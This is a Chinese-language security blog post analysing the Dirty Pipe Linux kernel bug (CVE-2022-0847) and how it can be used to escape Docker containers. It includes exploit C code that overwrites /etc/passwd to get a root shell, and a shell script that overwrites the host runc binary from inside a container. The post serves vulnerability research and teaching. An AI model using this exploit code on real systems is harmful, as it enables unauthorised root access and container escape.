从脏管道(CVE-2022-0847)到docker逃逸

VSole2023-02-06 10:18:32

本文转自先知社区:https://xz.aliyun.com/t/12055

作者:happi0

本文主要分析了CVE-2022-0847的原理和由于其独特的利用条件造成的关于docker逃逸的利用思路

漏洞环境

内核源码

wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.11.1.tar.gz

编译

make x86_64_defconfig   # 加载默认configmake menuconfig         # 自定义config
编译选项

添加调试信息, 需要以下几行

[*] Compile the kernel with debug info                                                                  [*]   Generate dwarf4 debuginfo                                            [*]   Provide GDB scripts for kernel debugging

文件系统

sudo mkfs.ext4 -F stretch.img

共享文件夹与命令

上文制作的文件系统只有最基本的命令,在主机上下载静态编译的busybox和poc放到share目录下,方便在虚拟机中使用

在下文qemu的启动命令的-hdb fat:rw:/home/happi0/note/CVE-2022-0847/linux-5.11.1/share是将主机的share目录挂载到虚拟机上,我这里的环境是在虚拟机的/dev/sdb1上,进入虚拟机后使用使用mount命令将share文件夹挂载即可

host:    mkdir share    wget  bin.n0p.me/x64/busybox    mv busybox share
vir:    mkdir /share    mount /dev/sdb1 /share

由于本虚拟机是只有很基本的环境,在调试漏洞之前还需要做一些操作, 创建/etc/passwd修改权限

cat /share/passwd > /etc/passwd()chmod 777 /tmptouch /tmp/passwd.bakchmod 777 /tmp/passwd.bak

qemu

启动虚拟机

一个小坑, 由于我的主机是archqemu的依赖被破坏了,需要手动安装低版本libbpf, 用pacman -Udd强制安装即可

sudo qemu-system-x86_64 \    -s \    -m 2G \    -smp 2 \    -kernel ./arch/x86/boot/bzImage \    -append "console=ttyS0 earlyprintk=serial"\    -hda ./stretch.img \    -hdb fat:rw:/home/happi0/note/CVE-2022-0847/linux-5.11.1/share \    -nographic \    -initrd initramfs.img \    -pidfile vm.pid \    2>&1 | tee vm.log

漏洞原理

在调试之前首先根据补丁来简单了解一下漏洞造成的原因。

补丁中给copy_page_to_iter_pipe()push_pipe()添加了buf->flags的初始化为0。

这里需要了解一些前置知识,有三篇写的很详细的文章

  • CVE-2022-0847 dirtypipe linux本地提权全网第二详细漏洞分析
  • Linux 内核 DirtyPipe 任意只读文件覆写漏洞(CVE-2022-0847)分析
  • Linux 内核提权 DirtyPipe(CVE-2022-0847) 漏洞分析

不过由于本文重点不在这里,这里只简单说一下我自己的理解。

  • 管道(pipe)是linux中进程中通信的主要手段,它被设计为一个可以循环使用的环形数据结构,通常只有16个page(每个page大小通常为4k),为了节省空间,如果单次没有写满一个page大小,pipe buffer会有一个PIPE_BUF_FLAG_CAN_MERGE属性(其值为0x10),用来标识该页面没有写满。当该属性存在时,下次pipe_write()会继续向同一个page写入数据。
  • splice()将包含文件的page链接到pipecopy_page_to_iter_pipe()push_pipe()函数没有对buf->flag初始化,也就是说,如果该pagePIPE_BUF_FLAG_CAN_MERGE属性为真的话,会继续向该page写入内容,造成非法写入。

Exp分析

根据exp分析漏洞利用的细节,删除了部分检测利用条件、备份密码等漏洞利用不相关代码。

static void prepare_pipe(int p[2]){    if (pipe(p)) abort();
    const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);    static char buffer[4096];
    for (unsigned r = pipe_size; r > 0;) {        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;        write(p[1], buffer, n);        r -= n;    }    // 将所有管道填满,使其具有PIPE_BUF_FLAG_CAN_MERGE属性
    for (unsigned r = pipe_size; r > 0;) {        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;        read(p[0], buffer, n);        r -= n;    }    // 读取所有管道的内容,即清空管道
}
int main() {    const char *const path = "/etc/passwd";
    ...    // 备份/etc/passwd    ...    loff_t offset = 4;     // 略过"root"字符,这样构造也是因为漏洞利用的条件包含必须有大于1的偏移    const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n";     // openssl passwd -1 -salt aaron aaron 密码的哈希散列
    const int fd = open(path, O_RDONLY);    if (fd < 0) {        perror("open failed");        return EXIT_FAILURE;    }    // 以只读权限打开特权文件
    ...    // 一些漏洞利用条件检查
    int p[2];    prepare_pipe(p);    // 使得创建的管道具有PIPE_BUF_FLAG_CAN_MERGE属性,为漏洞利用做准备
    --offset;    ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);    // 将file page和pipe buf关联起来    // 由于PIPE_BUF_FLAG_CAN_MERGE属性的存在,不会创建新的pipe_buffer, 数据会直接写进file page中
    nbytes = write(p[1], data, data_size);    // 写入数据
    char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \""                "echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"                "cp /tmp/passwd.bak /etc/passwd;"                "echo \\\"Done! Popping shell... (run commands now)\\\";"                "/bin/sh;"            "\" root"};        execv("/bin/sh", argv);
        printf("system() function call seems to have failed :(\n");    return EXIT_SUCCESS;    // 弹出shell}

从上面可以看出EXP主要可以分为四步

  • 备份密码
  • 使管道具有PIPE_BUF_FLAG_CAN_MERGE具有属性,EXP中使用的是填满再清空的方法
  • 用splice将file page和pipe 关联起来
  • 将数据写入管道

动态跟踪

使管道具有PIPE_BUF_FLAG_CAN_MERGE具有属性

使管道具有PIPE_BUF_FLAG_CAN_MERGE具有属性的关键点在pipe_write函数中,已略去部分无关代码

pipe_write(struct kiocb *iocb, struct iov_iter *from){    struct file *filp = iocb->ki_filp;    struct pipe_inode_info *pipe = filp->private_data;              unsigned int head;    ssize_t ret = 0;    size_t total_len = iov_iter_count(from);    ssize_t chars;    bool was_empty = false;    bool wake_next_writer = false;
    ...    if (!pipe->readers) {    // 没有读端直接返回        send_sig(SIGPIPE, current, 0);        ret = -EPIPE;        goto out;    }    ...
    head = pipe->head;                                                                                  was_empty = pipe_empty(head, pipe->tail);    // 判断管道头尾指针是否相等,如果相等则管道为空。    chars = total_len & (PAGE_SIZE-1);    // 判断需要写入的数据的大小,chars为余数    if (chars && !was_empty) {        // 页帧不为空且chars不为空,则从最后一页接着写        // 在exp前部分中,每次向pipe中写入的数据大小为页帧的整数倍,所以chars总为空        unsigned int mask = pipe->ring_size - 1;                                struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];               int offset = buf->offset + buf->len;                            
        if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&            offset + chars <= PAGE_SIZE) {            // 如果buf -> flag == PIPE_BUF_FLAG_CAN_MERGE, 即代表当前页是可融合的            // 且已有内容 + 剩余内容 < 页帧大小,则直接将剩余内容写入当前页            ret = pipe_buf_confirm(pipe, buf);            if (ret)                goto out;
            ret = copy_page_from_iter(buf->page, offset, chars, from);            if (unlikely(ret < chars)) {                ret = -EFAULT;                goto out;            }
            buf->len += ret;            if (!iov_iter_count(from))                goto out;        }    }
    for (;;) {   // 这里是最后一页无法接着写的情况        if (!pipe->readers) {                                               // 如果pipe的读者数量为0,则发送信号,直到有读者。            send_sig(SIGPIPE, current, 0);            if (!ret)                ret = -EPIPE;            break;        }
        head = pipe->head;        if (!pipe_full(head, pipe->tail, pipe->max_usage)) {                        unsigned int mask = pipe->ring_size - 1;                                struct pipe_buffer *buf = &pipe->bufs[head & mask];                     struct page *page = pipe->tmp_page;                                     int copied;         
            if (!page) {                                                                                    // 如果缓存页为空,则新分配的page                page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);                        if (unlikely(!page)) {                    ret = ret ? : -ENOMEM;                    break;                }                pipe->tmp_page = page;                      }
            spin_lock_irq(&pipe->rd_wait.lock);                                 head = pipe->head;            if (pipe_full(head, pipe->tail, pipe->max_usage)) {                spin_unlock_irq(&pipe->rd_wait.lock);                continue;            }
            pipe->head = head + 1;            spin_unlock_irq(&pipe->rd_wait.lock);
            buf = &pipe->bu fs[head & mask];                        buf->page = page;            // 把新申请的页放入页数组中            buf->ops = &anon_pipe_buf_ops;            buf->offset = 0;            buf->len = 0;            if (is_packetized(filp))                                            buf->flags = PIPE_BUF_FLAG_PACKET;                  else                buf->flags = PIPE_BUF_FLAG_CAN_MERGE;                // 设置flag, 默认为PIPE_BUF_FLAG_CAN_MERGE, 即可融合的页                // #define PIPE_BUF_FLAG_CAN_MERGE  0x10            pipe->tmp_page = NULL;
            copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);                 if (unlikely(copied < PAGE_SIZE && iov_iter_count(from))) {                if (!ret)                    ret = -EFAULT;                break;            }            ret += copied;                          buf->offset = 0;            buf->len = copied;
            if (!iov_iter_count(from))                break;        }
        ...
        __pipe_unlock(pipe);        if (was_empty) {            wake_up_interruptible_sync_poll(&pipe->rd_wait, EPOLLIN | EPOLLRDNORM);            kill_fasync(&pipe->fasync_readers, SIGIO, POLL_IN);        }        wait_event_interruptible_exclusive(pipe->wr_wait, pipe_writable(pipe));        __pipe_lock(pipe);        was_empty = pipe_empty(pipe->head, pipe->tail);        wake_next_writer = true;    }out:    if (pipe_full(pipe->head, pipe->tail, pipe->max_usage))        wake_next_writer = false;    __pipe_unlock(pipe);
    if (was_empty) {        wake_up_interruptible_sync_poll(&pipe->rd_wait, EPOLLIN | EPOLLRDNORM);        kill_fasync(&pipe->fasync_readers, SIGIO, POLL_IN);    }    if (wake_next_writer)        wake_up_interruptible_sync_poll(&pipe->wr_wait, EPOLLOUT | EPOLLWRNORM);    if (ret > 0 && sb_start_write_trylock(file_inode(filp)->i_sb)) {        int err = file_update_time(filp);        if (err)            ret = err;        sb_end_write(file_inode(filp)->i_sb);    }    return ret;}

在EXP中的prepare_pipe()函数中,首先将管道填满,并且每次写入的数据大小为4k

static char buffer[4096];
    for (unsigned r = pipe_size; r > 0;) {        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;        write(p[1], buffer, n);        r -= n;    }

导致chars = total_len & (PAGE_SIZE-1);每次都为零, 所以不会进入第一个if中

if (chars && !was_empty) {

由于不断的写,导致需要申请新的页, 并且新的页的flag为PIPE_BUF_FLAG_CAN_MERGE, 并直接被放入了页数组中

if (!page) {                                                                                    // 如果缓存页为空,则新分配的page            ...                     buf->page = page;            // 把新申请的页放入页数组中            ...                buf->flags = PIPE_BUF_FLAG_CAN_MERGE;                // 设置flag, 默认为PIPE_BUF_FLAG_CAN_MERGE, 即可融合的页                // #define PIPE_BUF_FLAG_CAN_MERGE  0x10

重复15次,把所有的pipe buffer的flags都置为0x10

用splice将file page和pipe 关联起来

首先在copy_page_to_iter_pipe中停下,保存page的地址


继续到pipe_write停下, 由于这次不是4k的整数倍,于是chars不为0,进入到漏洞分支


打印出即将写入的page, 和我们保存的page一样,已经即将把数据写入

漏洞效果

由于虚拟机只有最基本的环境,所以suid这类命令都需要上文下载的静态编译的busybox实现

可以看到,低权限用户也可以对高权限文件改写

利用条件与限制

利用条件

  • 有可读权限或者可以传回文件的文件描述符
  • 有漏洞的内核

利用的限制

  • 第一个字节不可修改,并且单次写入不能大于4k
  • 只能单纯覆盖,不能调整文件大小
  • 由于漏洞基于内存页,所以不会对磁盘有影响

与docker的关系

由于docker和宿主机是共享内核,尽管其他进程资源是隔离开的,内核洞也很可能会docker容器造成安全问题.

对于容器的影响

由于docker本质上是由一组互相重叠的层组层的,容器引擎将其合并到一起,原本这些层都是只读的,但由于脏管道漏洞的影响,我们可以在u1容器修改/etc/passwd使得u2容器的/etc/passwd被修改

利用CAP_DAC_READ_SEARCH实现容器逃逸

通过利用CAP_DAC_READ_SEARCH与脏管道可以实现覆盖主机文件, 该攻击手段可以在github看到详细过程

实际上主要是CAP_DAC_READ_SEARCH可以调用open_by_handle_at, 可以获得主机文件的文件描述符,配合脏管道于是就可以修改主机文件


这种攻击方式非常简单,核心就是获得文件的文件描述符即可

通过runc实现容器逃逸

一个容器开启时,可以分为以下三步

  • fork创建子进程
  • 初始化容器化环境
  • 将执行流重定向到用户提供的入口点

对于第三步,以大名鼎鼎的CVE-2019-5736为例,当重定向入口点时,容器内的/proc/self/exec与主机的runc二进制文件相关联

因此可以通过在容器内写入该文件描述符实现容器逃逸

对于CVE-2019-5736的修复


由于篇幅原因这里不跟进CVE-2019-5736的修复的具体代码,直接看git commit了解修复逻辑

可以看到修复逻辑是克隆/proc/self/exec避免容器内部直接获取runC

然而很快开发者修改了修复逻辑


可以看到开发者认为克隆导致的内存开销太大了,可能造成OOM或者其他问题,把修复逻辑改成了只读挂载

这里联想到上文总结的脏管道的利用条件和利用效果,发现刚好契合

这里的利用主要参考了链接

主机执行docker exec -it u1 /bin/sh/usr/sbin/runc的哈希值变化了,且头部被注入标识

利用思路也很简单,修改CVE-2022-0847的exp,将需要注入的字节改为shellcode,这里我随便改的标识

然后在容器内找到主机的runc的pid即可,可以参考以下的shell脚本

#!/bin/bash
echo '#!/proc/self/exe' > /bin/sh
echo "Waiting for runC to be executed in the container"
while true ; dorunC_pid=""
while [ -z "$runC_pid" ] ; do        runC_pid=$(ps axf | grep /proc/self/exe | grep -v grep | awk '{print $1}')        done
        /exp /proc/${runC_pid}/exedone

总结

由于docker容器和主机是共享内核的,且目前的runc是通过挂为只读权限防止逃逸的,对于提权类内核洞来说,这两个限制很容易被绕过,所以尽管容器逃逸类漏洞很少见,但提权类的内核漏洞很可能导致容器逃逸。

docker“人造太阳”计划
本作品采用《CC 协议》,转载必须注明作者和本文链接
七个杀手级Docker命令
2023-12-22 15:19:58
Docker是一个容器化平台,通过操作系统级别的虚拟化技术,实现软件的打包和容器化运行。借助Docker,开发人员能够将应用程序以容器的形式进行部署,但在此之前需要构建Docker镜像。只要熟悉相关Docker命令,开发人员就能轻松完成所有这些步骤,从而实现应用程序的容器化部署。本文将根据使用场景对 Docker 命令进行分类介绍。1 构建 Docker 镜像构建 Docker 镜像需要使用 Do
当网络流量监控发现某台运行多个docker容器的主机主动连接到一个疑似挖矿矿池的地址时,需要快速响应和排查,以阻止进一步的损害。
我们将深入分析排查过程,还原入侵的步骤和手段,帮助读者了解应对挖矿程序入侵的实际应急操作。通过进程PID和USER查看进程信息,通过进程链定位到进程所在容器的进程PID。通过进程PID查找对应容器名称,容器名:metabase。使用docker top 查看容器中的进程信息,找到到容器内异常进程。据此,可初步判断,java应用被入侵,导致容器被植入挖矿木马。
Docker 容器入侵排查
2023-06-15 10:00:29
容器的运行环境是相对独立而纯粹,当容器遭受攻击时,急需对可疑的容器进行入侵排查以确认是否已失陷,并进一步进行应急处理和溯源分析找到攻击来源。在应急场景下,使用docker命令可以最大程度利用docker自身的特性,快速的获取相关信息而无需进入容器内部,帮助我们进行溯源分析和解决问题。查看当前运行的容器,创建时间、运行状态、端口映射。[root@ecs-t /]# docker psCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMESb06352ff26cc sagikazarmark/dvwa "/run.sh" About an hour ago Up About an hour 3306/tcp, 0.0.0.0:81->80/tcp dvwa
首先,对Docker架构以及基本安全特性进行介绍,分析了Docker面临的安全威胁。由于Docker拥有轻量化、高效率和易部署的特点,目前已被广泛应用于云计算和微服务架构中。本文对Docker安全相关的研究思路、方法和工具进行比较和分析,并指出未来可能的研究方向。此外,Iptables的限制范围有限,容器网络仍然容易受到数据链路层攻击,如ARP欺骗等。
Docker 向所有 Docker Hub 用户发去邮件,如果他们是以组织的名义创建账号,那么他们的账号将被删除,所有镜像也将一并删除,除非他们升级到一个付费的团队方案——其年费为 420 美元。
Sysdig公司的研究人员深入研究了这个问题,试图评估这个问题的严重性,报告发现的镜像使用了某种恶意代码或机制。遗憾的是,Docker Hub公共库的规模不允许其操作人员每天仔细检查所有上传的内容,因此许多恶意镜像并没有被报告。Sysdig还注意到,大多数威胁分子只上传几个恶意镜像,所以即使删除了有风险的镜像、封杀了上传者,也不会对这个平台的整体威胁状况有显著影响。
Sysdig的安全研究者近日发现Docker Hub中暗藏着超过1600个恶意镜像,可实施的攻击包括加密货币挖矿、嵌入后门/机密信息、DNS劫持和网站重定向等。问题持续恶化Sysdig表示,到2022年,从Docker Hub提取的所有镜像中有61%来自公共存储库,比2021年的统计数据增加了15%,因此用户面临的风险正在上升。
想学K8s,必须得先学会 Docker 吗?K8s 和 Docker 的关系Docker 和 K8s 这两个经常一起出现,两者的Logo 看着也有一定联系一个是背上驮着集装箱的鲸鱼一个是船的舵轮。红框里的容器运行时负责对接具体的容器实现Docker 公司也推出过自己的容器集群管理方案 Docker Swarm ,跟 K8s 算是竞品,但是在生产上几乎没人使用。
VSole
网络安全专家